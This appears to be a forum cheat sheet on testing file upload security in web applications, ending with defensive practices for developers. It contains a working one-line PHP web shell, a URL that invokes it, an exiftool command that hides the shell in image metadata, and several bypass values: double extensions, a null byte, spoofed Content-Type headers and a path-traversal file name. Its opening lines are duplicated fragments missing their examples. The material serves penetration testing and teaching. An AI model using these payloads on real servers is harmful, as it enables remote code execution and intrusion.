- by x32x01 ||
File upload functionality is one of the most dangerous features in web applications if not properly secured. Attackers often target upload forms to gain remote code execution, bypass validation, or upload malicious files.
This comprehensive file upload security cheat sheet will help you assess file upload functionality, test vulnerabilities, validate inputs, and ensure secure file handling in modern web applications.
If you're learning penetration testing, ethical hacking, or web security, mastering file upload testing is essential 🚀
Example PHP web shell:
If uploaded successfully and accessible via browser:
This indicates a critical Remote Code Execution vulnerability.
Using a proxy like Burp Suite, change:
To:
If the upload succeeds, the server relies only on client-provided headers - which is insecure.
Example of valid PNG header:
Attackers sometimes prepend valid image headers to malicious scripts to bypass checks.
Example test:
A tiny compressed file that expands to huge storage size, causing DoS.
If the application doesn't sanitize filenames, it may overwrite sensitive system files.
If the server overwrites existing files without warning, this may allow:
This prevents PHP execution inside upload folder.
Always test responsibly in authorized environments only.
Mastering file upload testing will significantly improve your web application security assessment skills 🔐💻
This comprehensive file upload security cheat sheet will help you assess file upload functionality, test vulnerabilities, validate inputs, and ensure secure file handling in modern web applications.
If you're learning penetration testing, ethical hacking, or web security, mastering file upload testing is essential 🚀
Why File Upload Security Matters ⚠️
Poorly secured file upload systems can lead to:- Remote Code Execution (RCE)
- Web Shell Upload
- Malware Hosting
- Cross-Site Scripting (XSS)
- Storage Abuse
- Denial of Service (DoS)
Step 1: Test File Type Validation 🧪
One of the first things to check is how the application validates file types.🔍 What to Test:
- Does it validate by extension only?
- Does it check MIME type?
- Does it inspect file content (magic bytes)?
- Is validation done client-side only?
🚨 Common Bypass Techniques
- Change file extension:
shell.php→shell.php.jpg
- Use double extension:
shell.php.jpg
- Null byte injection (older systems):
shell.php%00.jpg
- Change Content-Type header manually in Burp Suite:
Content-Type: image/jpeg
Step 2: Test for Executable File Upload 🐚
Try uploading files that could execute code on the server.Example PHP web shell:
PHP:
<?php system($_GET['cmd']); ?> Code:
http://target.com/uploads/shell.php?cmd=id Step 3: Check for MIME Type Validation 🎭
Some applications only check MIME type in the request header.Using a proxy like Burp Suite, change:
Code:
Content-Type: application/x-php Code:
Content-Type: image/png Step 4: Test File Content Validation (Magic Bytes) 🔬
Secure systems verify file signatures (magic bytes).Example of valid PNG header:
Code:
89 50 4E 47 0D 0A 1A 0A Step 5: Test Upload Path & File Access 📁
After uploading, test:- Is the file stored inside the web root?
- Can it be accessed directly via URL?
- Is directory listing enabled?
- Are uploaded files renamed?
Example test:
http://target.com/uploads/filename.extStep 6: Test File Size Restrictions 📦
Upload:- Very large files
- Highly compressed files (ZIP bombs)
- Nested archive files
A tiny compressed file that expands to huge storage size, causing DoS.
Step 7: Test for Path Traversal in File Name 🚧
Try modifying filename parameter:../../shell.phpIf the application doesn't sanitize filenames, it may overwrite sensitive system files.
Step 8: Test for Image Processing Vulnerabilities 🖼️
If the application resizes or processes images:- Check for ImageTragick vulnerabilities
- Test malformed EXIF metadata
- Try embedding payload inside image metadata
Code:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg Step 9: Check for Overwrite Vulnerability 🔁
Upload a file with same name twice.If the server overwrites existing files without warning, this may allow:
- Defacement
- Stored XSS
- Replacement of legitimate files
Step 10: Review Server-Side Validation 🔒
Developers should:- Validate extension
- Validate MIME type
- Validate file signature
- Rename uploaded files
- Store files outside web root
- Disable execution in upload directory
Code:
<Directory "/var/www/uploads">
php_admin_flag engine off
</Directory> Secure File Upload Best Practices for Developers 🛡️
If you're building secure web apps, follow these rules:- Use allow-list instead of block-list
- Restrict file extensions
- Enforce size limits
- Rename uploaded files
- Scan uploads with antivirus
- Store outside public directory
- Set correct permissions
- Log upload activity
Common File Upload Vulnerabilities 🔥
During penetration testing, look for:- Unrestricted File Upload
- RCE via web shell
- Stored XSS via HTML upload
- Path traversal
- File overwrite
- Insecure direct object references
Final Thoughts 🎯
File upload functionality is one of the most critical attack surfaces in web applications. Whether you're a penetration tester, ethical hacker, or developer, understanding file upload security is essential.Always test responsibly in authorized environments only.
Mastering file upload testing will significantly improve your web application security assessment skills 🔐💻
Last edited: